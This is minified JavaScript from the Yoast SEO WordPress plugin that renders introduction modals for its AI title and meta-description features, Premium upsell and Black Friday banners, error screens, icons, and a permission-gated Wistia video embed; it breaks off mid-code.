O(){P||(P=document.getElementById("yoast-seo-indexing-action")),P&&(0,n.render)((0,t.createElement)(b,{preIndexingActions:window.yoast.indexing.preIndexingActions,indexingActions:window.yoast.indexing.indexingActions}),P)}window.yoast=window.yoast||{},window.yoast.indexing=window.yoast.indexing||{},window.yoast.indexing.preIndexingActions={},window.yoast.indexing.indexingActions={},window.yoast.indexing.registerPreIndexingAction=(e,t)=>{window.yoast.indexing.preIndexingActions[e]=t,O()},window.yoast.indexing.registerIndexingAction=(e,t)=>{window.yoast.indexing.indexingActions[e]=t,O()},r()((function(){O()}))})();wordpress-seo/js/dist/introductions.js000064400000077734147510273070014231 0ustar00(()=>{"use strict";var e={n:t=>{var s=t&&t.__esModule?()=>t.default:()=>t;return e.d(s,{a:s}),s},d:(t,s)=>{for(var r in s)e.o(s,r)&&!e.o(t,r)&&Object.defineProperty(t,r,{enumerable:!0,get:s[r]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t)};const t=window.React,s=window.wp.data,r=window.wp.domReady;var a=e.n(r);const n=window.wp.element,i=window.wp.hooks,o=window.yoast.uiLibrary,l=window.lodash,c=window.yoast.reduxJsToolkit,d="adminUrl",m=(0,c.createSlice)({name:d,initialState:"",reducers:{setAdminUrl:(e,{payload:t})=>t}}),u=(m.getInitialState,{selectAdminUrl:e=>(0,l.get)(e,d,"")});u.selectAdminLink=(0,c.createSelector)([u.selectAdminUrl,(e,t)=>t],((e,t="")=>{try{return new URL(t,e).href}catch(t){return e}})),m.actions,m.reducer;const y=window.wp.url,p="linkParams",w=(0,c.createSlice)({name:p,initialState:{},reducers:{setLinkParams:(e,{payload:t})=>t}}),g=w.getInitialState,f={selectLinkParam:(e,t,s={})=>(0,l.get)(e,`${p}.${t}`,s),selectLinkParams:e=>(0,l.get)(e,p,{})};f.selectLink=(0,c.createSelector)([f.selectLinkParams,(e,t)=>t,(e,t,s={})=>s],((e,t,s)=>(0,y.addQueryArgs)(t,{...e,...s})));const h=w.actions,E=w.reducer,v=(0,c.createSlice)({name:"notifications",initialState:{},reducers:{addNotification:{reducer:(e,{payload:t})=>{e[t.id]={id:t.id,variant:t.variant,size:t.size,title:t.title,description:t.description}},prepare:({id:e,variant:t="info",size:s="default",title:r,description:a})=>({payload:{id:e||(0,c.nanoid)(),variant:t,size:s,title:r||"",description:a}})},removeNotification:(e,{payload:t})=>(0,l.omit)(e,t)}}),b=(v.getInitialState,v.actions,v.reducer,"pluginUrl"),x=(0,c.createSlice)({name:b,initialState:"",reducers:{setPluginUrl:(e,{payload:t})=>t}}),_=x.getInitialState,k={selectPluginUrl:e=>(0,l.get)(e,b,"")};k.selectImageLink=(0,c.createSelector)([k.selectPluginUrl,(e,t,s="images")=>s,(e,t)=>t],((e,t,s)=>[(0,l.trimEnd)(e,"/"),(0,l.trim)(t,"/"),(0,l.trimStart)(s,"/")].join("/")));const N=x.actions,R=x.reducer,S=window.wp.apiFetch;var P=e.n(S);const L="request",C="success",O="error",I="idle",$="loading",q="showPlay",A="askPermission",B="isPlaying",j="wistiaEmbedPermission",M=(0,c.createSlice)({name:j,initialState:{value:!1,status:I,error:{}},reducers:{setWistiaEmbedPermissionValue:(e,{payload:t})=>{e.value=Boolean(t)}},extraReducers:e=>{e.addCase(`${j}/${L}`,(e=>{e.status=$})),e.addCase(`${j}/${C}`,((e,{payload:t})=>{e.status="success",e.value=Boolean(t&&t.value)})),e.addCase(`${j}/${O}`,((e,{payload:t})=>{e.status="error",e.value=Boolean(t&&t.value),e.error={code:(0,l.get)(t,"error.code",500),message:(0,l.get)(t,"error.message","Unknown")}}))}}),T=M.getInitialState,z={selectWistiaEmbedPermission:e=>(0,l.get)(e,j,{value:!1,status:I}),selectWistiaEmbedPermissionValue:e=>(0,l.get)(e,[j,"value"],!1),selectWistiaEmbedPermissionStatus:e=>(0,l.get)(e,[j,"status"],I),selectWistiaEmbedPermissionError:e=>(0,l.get)(e,[j,"error"],{})},U={...M.actions,setWistiaEmbedPermission:function*(e){yield{type:`${j}/${L}`};try{return yield{type:j,payload:e},{type:`${j}/${C}`,payload:{value:e}}}catch(t){return{type:`${j}/${O}`,payload:{error:t,value:e}}}}},F={[j]:async({payload:e})=>P()({path:"/yoast/v1/wistia_embed_permission",method:"POST",data:{value:Boolean(e)}})},Y=M.reducer,W=window.wp.i18n,H=window.yoast.propTypes;var V=e.n(H);V().string.isRequired;const D=t.forwardRef((function(e,s){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},e),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"}))})),Z=t.forwardRef((function(e,s){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:s},e),t.createElement("path",{fillRule:"evenodd",d:"M12.293 5.293a1 1 0 011.414 0l4 4a1 1 0 010 1.414l-4 4a1 1 0 01-1.414-1.414L14.586 11H3a1 1 0 110-2h11.586l-2.293-2.293a1 1 0 010-1.414z",clipRule:"evenodd"}))})),G=({learnMoreLink:e,thumbnail:s,wistiaEmbedPermission:r,upsellLink:a,isProductCopy:i,title:l,upsellLabel:c,newToText:d,bundleNote:m})=>{const{onClose:u,initialFocus:y}=(0,o.useModalContext)(),p={a:(0,t.createElement)(ye,{href:e,className:"yst-inline-flex yst-items-center yst-gap-1 yst-no-underline yst-font-medium",variant:"primary"}),ArrowNarrowRightIcon:(0,t.createElement)(Z,{className:"yst-w-4 yst-h-4 rtl:yst-rotate-180"})};return(0,t.createElement)(t.Fragment,null,(0,t.createElement)("div",{className:"yst-px-10 yst-pt-10 yst-introduction-gradient yst-text-center"},(0,t.createElement)("div",{className:"yst-relative yst-w-full"},(0,t.createElement)(Be,{videoId:"vmrahpfjxp",thumbnail:s,wistiaEmbedPermission:r}),(0,t.createElement)(o.Badge,{className:"yst-absolute yst-top-0 yst-right-2 yst-mt-2 yst-ml-2",variant:"info"},"Beta")),(0,t.createElement)("div",{className:"yst-mt-6 yst-text-xs yst-font-medium yst-flex yst-flex-col yst-items-center"},(0,t.createElement)("span",{className:"yst-introduction-modal-uppercase yst-flex yst-gap-2 yst-items-center"},(0,t.createElement)("span",{className:"yst-logo-icon"}),d))),(0,t.createElement)("div",{className:"yst-px-10 yst-pb-4 yst-flex yst-flex-col yst-items-center"},(0,t.createElement)("div",{className:"yst-mt-4 yst-mx-1.5 yst-text-center"},(0,t.createElement)("h3",{className:"yst-text-slate-900 yst-text-lg yst-font-medium"},l),(0,t.createElement)("div",{className:"yst-mt-2 yst-text-slate-600 yst-text-sm"},i?(0,n.createInterpolateElement)((0,W.sprintf)(/* translators: %1$s and %2$s are anchor tags; %3$s is the arrow icon. */
(0,W.__)("Let AI do some of the thinking for you and help you save time. Get high-quality suggestions for product titles and meta descriptions to make your content rank high and look good on social media. %1$sLearn more%2$s%3$s","wordpress-seo"),"<a>","<ArrowNarrowRightIcon />","</a>"),p):(0,n.createInterpolateElement)((0,W.sprintf)(/* translators: %1$s and %2$s are anchor tags; %3$s is the arrow icon. */
(0,W.__)("Let AI do some of the thinking for you and help you save time. Get high-quality suggestions for titles and meta descriptions to make your content rank high and look good on social media. %1$sLearn more%2$s%3$s","wordpress-seo"),"<a>","<ArrowNarrowRightIcon />","</a>"),p))),(0,t.createElement)("div",{className:"yst-w-full yst-flex yst-mt-10"},(0,t.createElement)(o.Button,{as:"a",className:"yst-grow",size:"extra-large",variant:"upsell",href:a,target:"_blank",ref:y},(0,t.createElement)(D,{className:"yst--ml-1 yst-mr-2 yst-h-5 yst-w-5"}),c,(0,t.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,W.__)("(Opens in a new browser tab)","wordpress-seo")))),m,(0,t.createElement)(o.Button,{as:"a",className:"yst-mt-4",variant:"tertiary",onClick:u},(0,W.__)("Close","wordpress-seo"))))};G.propTypes={learnMoreLink:V().string.isRequired,upsellLink:V().string.isRequired,thumbnail:V().shape({src:V().string.isRequired,width:V().string,height:V().string}).isRequired,wistiaEmbedPermission:V().shape({value:V().bool.isRequired,status:V().string.isRequired,set:V().func.isRequired}).isRequired,title:V().string,upsellLabel:V().string,newToText:V().string,isProductCopy:V().bool,bundleNote:V().oneOfType([V().string,V().element])},G.defaultProps={title:(0,W.__)("Use AI to write your titles & meta descriptions!","wordpress-seo"),upsellLabel:(0,W.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,W.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium"),newToText:"Yoast SEO Premium",isProductCopy:!1,bundleNote:""};const K=({learnMoreLink:e,thumbnail:s,wistiaEmbedPermission:r,upsellLink:a,upsellLabel:i})=>{const{onClose:l,initialFocus:c}=(0,o.useModalContext)(),d={a:(0,t.createElement)(ye,{href:e,className:"yst-inline-flex yst-items-center yst-gap-1 yst-no-underline yst-font-medium",variant:"primary"}),ArrowNarrowRightIcon:(0,t.createElement)(Z,{className:"yst-w-4 yst-h-4 rtl:yst-rotate-180"}),br:(0,t.createElement)("br",null)};return(0,t.createElement)(t.Fragment,null,(0,t.createElement)("div",{className:"yst-px-10 yst-pt-10 yst-introduction-gradient yst-text-center"},(0,t.createElement)("div",{className:"yst-relative yst-w-full"},(0,t.createElement)(Be,{videoId:"vun9z1dpfh",thumbnail:s,wistiaEmbedPermission:r}),(0,t.createElement)(o.Badge,{className:"yst-absolute yst-right-0 yst-mr-4 yst-text-center yst-justify-center",variant:"info",style:{top:"-8px"}},(0,W.__)("Beta","wordpress-seo-premium"))),(0,t.createElement)("div",{className:"yst-mt-6 yst-text-xs yst-font-medium yst-flex yst-flex-col yst-items-center"},(0,t.createElement)("span",{className:"yst-introduction-modal-uppercase yst-flex yst-gap-2 yst-items-center"},(0,t.createElement)("span",{className:"yst-logo-icon"}),"Yoast SEO Premium"))),(0,t.createElement)("div",{className:"yst-px-10 yst-pb-4 yst-flex yst-flex-col yst-items-center"},(0,t.createElement)("div",{className:"yst-mt-4 yst-mx-1.5 yst-text-center"},(0,t.createElement)("h3",{className:"yst-text-slate-900 yst-text-lg yst-font-medium"},(0,W.sprintf)(/* translators: %s: Expands to "Yoast AI" */
(0,W.__)("Optimize your SEO content with %s","wordpress-seo"),"Yoast AI")),(0,t.createElement)("div",{className:"yst-mt-2 yst-text-slate-600 yst-text-sm"},(0,n.createInterpolateElement)((0,W.sprintf)(/* translators: %1$s is a break tag; %2$s and %3$s are anchor tags; %4$s is the arrow icon. */
(0,W.__)("Make content editing a breeze! Optimize your SEO content with quick, actionable suggestions at the click of a button.%1$s%2$sLearn more%3$s%4$s","wordpress-seo"),"<br/>","<a>","<ArrowNarrowRightIcon />","</a>"),d))),(0,t.createElement)("div",{className:"yst-w-full yst-flex yst-mt-6"},(0,t.createElement)(o.Button,{as:"a",className:"yst-grow",size:"extra-large",variant:"upsell",href:a,target:"_blank",ref:c},(0,t.createElement)(D,{className:"yst--ml-1 yst-mr-2 yst-h-5 yst-w-5"}),i,(0,t.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,W.__)("(Opens in a new browser tab)","wordpress-seo")))),(0,t.createElement)(o.Button,{as:"a",className:"yst-mt-4",variant:"tertiary",onClick:l},(0,W.__)("Close","wordpress-seo"))))};K.propTypes={learnMoreLink:V().string.isRequired,upsellLink:V().string.isRequired,thumbnail:V().shape({src:V().string.isRequired,width:V().string,height:V().string}).isRequired,wistiaEmbedPermission:V().shape({value:V().bool.isRequired,status:V().string.isRequired,set:V().func.isRequired}).isRequired,upsellLabel:V().string},K.defaultProps={upsellLabel:(0,W.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,W.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium")};const J=({handleRefreshClick:e,supportLink:s})=>(0,t.createElement)("div",{className:"yst-flex yst-gap-2"},(0,t.createElement)(o.Button,{onClick:e},(0,W.__)("Refresh this page","wordpress-seo")),(0,t.createElement)(o.Button,{variant:"secondary",as:"a",href:s,target:"_blank",rel:"noopener"},(0,W.__)("Contact support","wordpress-seo")));J.propTypes={handleRefreshClick:V().func.isRequired,supportLink:V().string.isRequired};const Q=({handleRefreshClick:e,supportLink:s})=>(0,t.createElement)("div",{className:"yst-grid yst-grid-cols-1 yst-gap-y-2"},(0,t.createElement)(o.Button,{className:"yst-order-last",onClick:e},(0,W.__)("Refresh this page","wordpress-seo")),(0,t.createElement)(o.Button,{variant:"secondary",as:"a",href:s,target:"_blank",rel:"noopener"},(0,W.__)("Contact support","wordpress-seo")));Q.propTypes={handleRefreshClick:V().func.isRequired,supportLink:V().string.isRequired};const X=({error:e,children:s})=>(0,t.createElement)("div",{role:"alert",className:"yst-max-w-screen-sm yst-p-8 yst-space-y-4"},(0,t.createElement)(o.Title,null,(0,W.__)("Something went wrong. An unexpected error occurred.","wordpress-seo")),(0,t.createElement)("p",null,(0,W.__)("We're very sorry, but it seems like the following error has interrupted our application:","wordpress-seo")),(0,t.createElement)(o.Alert,{variant:"error"},(null==e?void 0:e.message)||(0,W.__)("Undefined error message.","wordpress-seo")),(0,t.createElement)("p",null,(0,W.__)("Unfortunately, this means that any unsaved changes in this section will be lost. You can try and refresh this page to resolve the problem. If this error still occurs, please get in touch with our support team, and we'll get you all the help you need!","wordpress-seo")),s);X.propTypes={error:V().object.isRequired,children:V().node},X.VerticalButtons=Q,X.HorizontalButtons=J;var ee;function te(){return te=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},te.apply(this,arguments)}V().string,V().node.isRequired,V().node.isRequired,V().node,V().oneOf(Object.keys({lg:{grid:"yst-grid lg:yst-grid-cols-3 lg:yst-gap-12",col1:"yst-col-span-1",col2:"lg:yst-mt-0 lg:yst-col-span-2"},xl:{grid:"yst-grid xl:yst-grid-cols-3 xl:yst-gap-12",col1:"yst-col-span-1",col2:"xl:yst-mt-0 xl:yst-col-span-2"},"2xl":{grid:"yst-grid 2xl:yst-grid-cols-3 2xl:yst-gap-12",col1:"yst-col-span-1",col2:"2xl:yst-mt-0 2xl:yst-col-span-2"}}));const se=e=>t.createElement("svg",te({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 1000 1000"},e),ee||(ee=t.createElement("path",{fill:"#fff",d:"M500 0C223.9 0 0 223.9 0 500s223.9 500 500 500 500-223.9 500-500S776.1 0 500 0Zm87.2 412.4c0-21.9 4.3-40.2 13.1-54.4s24-27.1 45.9-38.2l10.1-4.9c17.8-9 22.4-16.7 22.4-26 0-11.1-9.5-19.1-25-19.1-18.3 0-32.2 9.5-41.8 28.9l-24.7-24.8c5.4-11.6 14.1-20.9 25.8-28.1a70.8 70.8 0 0 1 38.9-11.1c17.8 0 33.3 4.6 45.9 14.2s19.4 22.7 19.4 39.4c0 26.6-15 42.9-43.1 57.3l-15.7 8c-16.8 8.5-25.1 16-27.4 29.4h85.4v35.4H587.2Zm-82.1 373.3c-157.8 0-285.7-127.9-285.7-285.7s127.9-285.7 285.7-285.7a286.4 286.4 0 0 1 55.9 5.5l-55.9 116.9c-90 0-163.3 73.3-163.3 163.3s73.3 163.3 163.3 163.3a162.8 162.8 0 0 0 106.4-39.6l61.8 107.2a283.9 283.9 0 0 1-168.2 54.8ZM705 704.1l-70.7-122.5H492.9l70.7-122.4H705l70.7 122.4Z"}))),re=window.ReactDOM;var ae,ne,ie;(ne=ae||(ae={})).Pop="POP",ne.Push="PUSH",ne.Replace="REPLACE",function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"}(ie||(ie={})),new Set(["lazy","caseSensitive","path","id","index","children"]),Error;const oe=["post","put","patch","delete"],le=(new Set(oe),["get",...oe]);new Set(le),new Set([301,302,303,307,308]),new Set([307,308]),Symbol("deferred"),t.Component,t.startTransition,new Promise((()=>{})),t.Component,new Set(["application/x-www-form-urlencoded","multipart/form-data","text/plain"]);try{window.__reactRouterVersion="6"}catch(e){}var ce,de,me,ue;new Map,t.startTransition,re.flushSync,t.useId,"undefined"!=typeof window&&void 0!==window.document&&window.document.createElement,(ue=ce||(ce={})).UseScrollRestoration="useScrollRestoration",ue.UseSubmit="useSubmit",ue.UseSubmitFetcher="useSubmitFetcher",ue.UseFetcher="useFetcher",ue.useViewTransitionState="useViewTransitionState",(me=de||(de={})).UseFetcher="useFetcher",me.UseFetchers="useFetchers",me.UseScrollRestoration="useScrollRestoration",V().string.isRequired,V().string;const ye=({href:e,children:s,...r})=>(0,t.createElement)(o.Link,{target:"_blank",rel:"noopener noreferrer",...r,href:e},s,(0,t.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,W.__)("(Opens in a new browser tab)","wordpress-seo")));ye.propTypes={href:V().string.isRequired,children:V().node},ye.defaultProps={children:null};const pe=t.forwardRef((function(e,s){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},e),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17 8l4 4m0 0l-4 4m4-4H3"}))}));var we,ge,fe;function he(){return he=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},he.apply(this,arguments)}const Ee=e=>t.createElement("svg",he({xmlns:"http://www.w3.org/2000/svg",id:"star-rating-half_svg__Layer_1","data-name":"Layer 1",viewBox:"0 0 500 475.53"},e),we||(we=t.createElement("defs",null,t.createElement("style",null,".star-rating-half_svg__cls-1{fill:#fbbf24}"))),ge||(ge=t.createElement("path",{d:"M250 392.04 98.15 471.87l29-169.09L4.3 183.03l169.77-24.67L250 4.52l75.93 153.84 169.77 24.67-122.85 119.75 29 169.09L250 392.04z",className:"star-rating-half_svg__cls-1"})),fe||(fe=t.createElement("path",{d:"m250 9.04 73.67 149.27.93 1.88 2.08.3 164.72 23.94-119.19 116.19-1.51 1.47.36 2.07 28.14 164.06-147.34-77.46-1.86-1-1.86 1-147.34 77.46 28.14-164.06.36-2.07-1.51-1.47L8.6 184.43l164.72-23.9 2.08-.3.93-1.88L250 9.04m0-9-77.25 156.49L0 181.64l125 121.89-29.51 172L250 394.3l154.51 81.23-29.51-172 125-121.89-172.75-25.11L250 0Z",className:"star-rating-half_svg__cls-1"})),t.createElement("path",{d:"m500 181.64-172.75-25.11L250 0v394.3l154.51 81.23L375 303.48l125-121.84z",style:{fill:"#f3f4f6"}}));function ve(){return ve=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},ve.apply(this,arguments)}const be=e=>t.createElement("svg",ve({xmlns:"http://www.w3.org/2000/svg","data-name":"Layer 1",viewBox:"0 0 500 475.53"},e),t.createElement("path",{d:"m250 0 77.25 156.53L500 181.64 375 303.48l29.51 172.05L250 394.3 95.49 475.53 125 303.48 0 181.64l172.75-25.11L250 0z",style:{fill:"#fbbf24"}}));var xe,_e,ke,Ne,Re,Se,Pe,Le,Ce;function Oe(){return Oe=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},Oe.apply(this,arguments)}const Ie=e=>t.createElement("svg",Oe({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 500 500"},e),xe||(xe=t.createElement("path",{fill:"#a4286a",d:"M80 0h340a80 80 0 0 1 80 80v420H80a80 80 0 0 1-80-80V80A80 80 0 0 1 80 0z"})),_e||(_e=t.createElement("path",{fill:"#6c2548",d:"M437.61 2 155.89 500H500V80a80 80 0 0 0-62.39-78z"})),ke||(ke=t.createElement("path",{fill:"#fff",d:"M74.4 337.3v34.9c21.6-.9 38.5-8 52.8-22.5s27.4-38 39.9-72.9l92.6-248h-44.8L140.3 236l-37-116.2h-41l54.4 139.8a57.54 57.54 0 0 1 0 41.8c-5.5 14.2-15.4 30.9-42.3 35.9z"})),Ne||(Ne=t.createElement("circle",{cx:368.33,cy:124.68,r:97.34,fill:"#9fda4f",transform:"rotate(-45 368.335 124.68)"})),Re||(Re=t.createElement("path",{fill:"#77b227",d:"m416.2 39.93-95.74 169.51A97.34 97.34 0 1 0 416.2 39.93z"})),Se||(Se=t.createElement("path",{fill:"#fec228",d:"m294.78 254.75-.15-.08-.13-.07a63.6 63.6 0 0 0-62.56 110.76h.13a63.6 63.6 0 0 0 62.71-110.67z"})),Pe||(Pe=t.createElement("path",{fill:"#f49a00",d:"m294.5 254.59-62.56 110.76a63.6 63.6 0 1 0 62.56-110.76z"})),Le||(Le=t.createElement("path",{fill:"#ff4e47",d:"M222.31 450.07A38.16 38.16 0 0 0 203 416.83a38.18 38.18 0 1 0 19.41 33.27z"})),Ce||(Ce=t.createElement("path",{fill:"#ed261f",d:"m202.9 416.8-37.54 66.48a38.17 38.17 0 0 0 37.54-66.48z"}))),$e=({link:e,linkProps:s,isPromotionActive:r})=>{let a=(0,n.useMemo)((()=>(0,W.__)("Use AI to generate titles and meta descriptions, automatically redirect deleted pages, get 24/7 support, and much, much more!","wordpress-seo")),[]),i=(0,n.createInterpolateElement)((0,W.sprintf)(/* translators: %1$s and %2$s expand to a span wrap to avoid linebreaks. %3$s expands to "Yoast SEO Premium". */
(0,W.__)("%1$sGet%2$s %3$s","wordpress-seo"),"<nowrap>","</nowrap>","Yoast SEO Premium"),{nowrap:(0,t.createElement)("span",{className:"yst-whitespace-nowrap"})});const l=r("black-friday-2024-promotion");return l&&(a=(0,n.useMemo)((()=>(0,W.__)("If you were thinking about upgrading, now's the time! 30% OFF ends 3rd Dec 11am (CET)","wordpress-seo")),[]),i=(0,n.createInterpolateElement)((0,W.sprintf)(/* translators: %1$s and %2$s expand to a span wrap to avoid linebreaks. %3$s expands to "Yoast SEO Premium". */
(0,W.__)("%1$sBuy%2$s %3$s","wordpress-seo"),"<nowrap>","</nowrap>","Yoast SEO Premium"),{nowrap:(0,t.createElement)("span",{className:"yst-whitespace-nowrap"})})),(0,t.createElement)("div",{className:"yst-p-6 yst-rounded-lg yst-text-white yst-bg-primary-500 yst-shadow"},(0,t.createElement)("figure",{className:"yst-logo-square yst-w-16 yst-h-16 yst-mx-auto yst-overflow-hidden yst-border yst-border-white yst-rounded-xl yst-rounded-br-none yst-relative yst-z-10 yst-mt-[-2.6rem]"},(0,t.createElement)(Ie,null)),l&&(0,t.createElement)("div",{className:"sidebar__sale_banner_container"},(0,t.createElement)("div",{className:"sidebar__sale_banner"},(0,t.createElement)("span",{className:"banner_text"},(0,W.__)("30% OFF - BLACK FRIDAY","wordpress-seo")))),(0,t.createElement)(o.Title,{as:"h2",className:"yst-mt-6 yst-text-base yst-font-extrabold yst-text-white"},i),(0,t.createElement)("p",{className:"yst-mt-2"},a),(0,t.createElement)(o.Button,{as:"a",variant:"upsell",href:e,target:"_blank",rel:"noopener",className:"yst-flex yst-justify-center yst-gap-2 yst-mt-4 focus:yst-ring-offset-primary-500",...s},(0,t.createElement)("span",null,l?(0,W.__)("Buy now","wordpress-seo"):i),(0,t.createElement)(pe,{className:"yst-w-4 yst-h-4 yst-icon-rtl"})),(0,t.createElement)("p",{className:"yst-text-center yst-text-xs yst-mx-2 yst-font-light yst-leading-5 yst-mt-2"},!l&&(0,t.createElement)(t.Fragment,null,(0,W.__)("Only $/€/£99 per year (ex VAT)","wordpress-seo"),(0,t.createElement)("br",null)),(0,W.__)("30-day money back guarantee.","wordpress-seo")),(0,t.createElement)("hr",{className:"yst-border-t yst-border-primary-300 yst-my-4"}),(0,t.createElement)("a",{className:"yst-block yst-mt-4 yst-no-underline",href:"https://www.g2.com/products/yoast-yoast/reviews",target:"_blank",rel:"noopener noreferrer"},(0,t.createElement)("span",{className:"yst-font-medium yst-text-white hover:yst-underline"},(0,W.__)("Read reviews from real users","wordpress-seo")),(0,t.createElement)("span",{className:"yst-flex yst-gap-2 yst-mt-2 yst-items-center"},(0,t.createElement)(se,{className:"yst-w-5 yst-h-5"}),(0,t.createElement)("span",{className:"yst-flex yst-gap-1"},(0,t.createElement)(be,{className:"yst-w-5 yst-h-5"}),(0,t.createElement)(be,{className:"yst-w-5 yst-h-5"}),(0,t.createElement)(be,{className:"yst-w-5 yst-h-5"}),(0,t.createElement)(be,{className:"yst-w-5 yst-h-5"}),(0,t.createElement)(Ee,{className:"yst-w-5 yst-h-5"})),(0,t.createElement)("span",{className:"yst-text-sm yst-font-semibold yst-text-white"},"4.6 / 5"))))};$e.propTypes={link:V().string.isRequired,linkProps:V().object,isPromotionActive:V().func},$e.defaultProps={linkProps:{},isPromotionActive:l.noop};const qe=({premiumLink:e,premiumUpsellConfig:s,isPromotionActive:r})=>{const a=r("black-friday-2024-promotion");return(0,t.createElement)(o.Paper,{as:"div",className:"xl:yst-max-w-3xl"},a&&(0,t.createElement)("div",{className:"yst-rounded-t-lg yst-h-9 yst-flex yst-justify-between yst-items-center yst-bg-black yst-text-amber-300 yst-px-4 yst-text-lg yst-border-b yst-border-amber-300 yst-border-solid yst-font-semibold"},(0,t.createElement)("div",null,(0,W.__)("30% OFF","wordpress-seo")),(0,t.createElement)("div",null,(0,W.__)("BLACK FRIDAY","wordpress-seo"))),(0,t.createElement)("div",{className:"yst-p-6 yst-flex yst-flex-col"},(0,t.createElement)(o.Title,{as:"h2",size:"4",className:"yst-text-xl yst-text-primary-500"},(0,W.sprintf)(/* translators: %s expands to "Yoast SEO" Premium */
(0,W.__)("Upgrade to %s","wordpress-seo"),"Yoast SEO Premium")),(0,t.createElement)("ul",{className:"yst-grid yst-grid-cols-1 sm:yst-grid-cols-2 yst-gap-x-6 yst-list-disc yst-pl-[1em] yst-list-outside yst-text-slate-800 yst-mt-6"},[(0,W.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,W.__)("%1$sAI%2$s: Better SEO titles and meta descriptions, faster.","wordpress-seo"),"<strong>","</strong>"),(0,W.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,W.__)("%1$sMultiple keywords%2$s: Rank higher for more searches.","wordpress-seo"),"<strong>","</strong>"),(0,W.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,W.__)("%1$sSuper fast%2$s internal linking suggestions.","wordpress-seo"),"<strong>","</strong>"),(0,W.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,W.__)("%1$sNo more broken links%2$s: Automatic redirect manager.","wordpress-seo"),"<strong>","</strong>"),(0,W.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,W.__)("%1$sAppealing social previews%2$s people actually want to click on.","wordpress-seo"),"<strong>","</strong>"),(0,W.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,W.__)("%1$s24/7 support%2$s: Also on evenings and weekends.","wordpress-seo"),"<strong>","</strong>")].map(((e,s)=>(0,t.createElement)("li",{key:`upsell-benefit-${s}`},(0,n.createInterpolateElement)(e,{strong:(0,t.createElement)("span",{className:"yst-font-semibold"})}))))),(0,t.createElement)(o.Button,{as:"a",variant:"upsell",size:"extra-large",href:e,className:"yst-gap-2 yst-mt-4",target:"_blank",rel:"noopener",...s},a?(0,W.__)("Claim your 30% off now!","wordpress-seo"):(0,W.sprintf)(/* translators: %s expands to "Yoast SEO" Premium */
(0,W.__)("Explore %s now!","wordpress-seo"),"Yoast SEO Premium"),(0,t.createElement)(pe,{className:"yst-w-4 yst-h-4 yst-icon-rtl"}))))};qe.propTypes={premiumLink:V().string.isRequired,premiumUpsellConfig:V().object,isPromotionActive:V().func},qe.defaultProps={premiumUpsellConfig:{},isPromotionActive:l.noop},V().string.isRequired,V().object.isRequired,V().string.isRequired,V().func.isRequired,t.forwardRef((function(e,s){return t.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},e),t.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z"}))})),V().bool.isRequired,V().func,V().func,V().string.isRequired,V().string.isRequired,V().string.isRequired,V().string.isRequired;const Ae=window.yoast.reactHelmet,Be=({videoId:e,thumbnail:s,wistiaEmbedPermission:r})=>{const[a,i]=(0,n.useState)(r.value?B:q),l=(0,n.useCallback)((()=>i(B)),[i]),c=(0,n.useCallback)((()=>{r.value?l():i(A)}),[r.value,l,i]),d=(0,n.useCallback)((()=>i(q)),[i]),m=(0,n.useCallback)((()=>{r.set(!0),l()}),[r.set,l]);return(0,t.createElement)(t.Fragment,null,r.value&&(0,t.createElement)(Ae.Helmet,null,(0,t.createElement)("script",{src:"https://fast.wistia.com/assets/external/E-v1.js",async:!0})),(0,t.createElement)("div",{className:"yst-relative yst-w-full yst-h-0 yst-pt-[56.25%] yst-overflow-hidden yst-rounded-md yst-drop-shadow-md 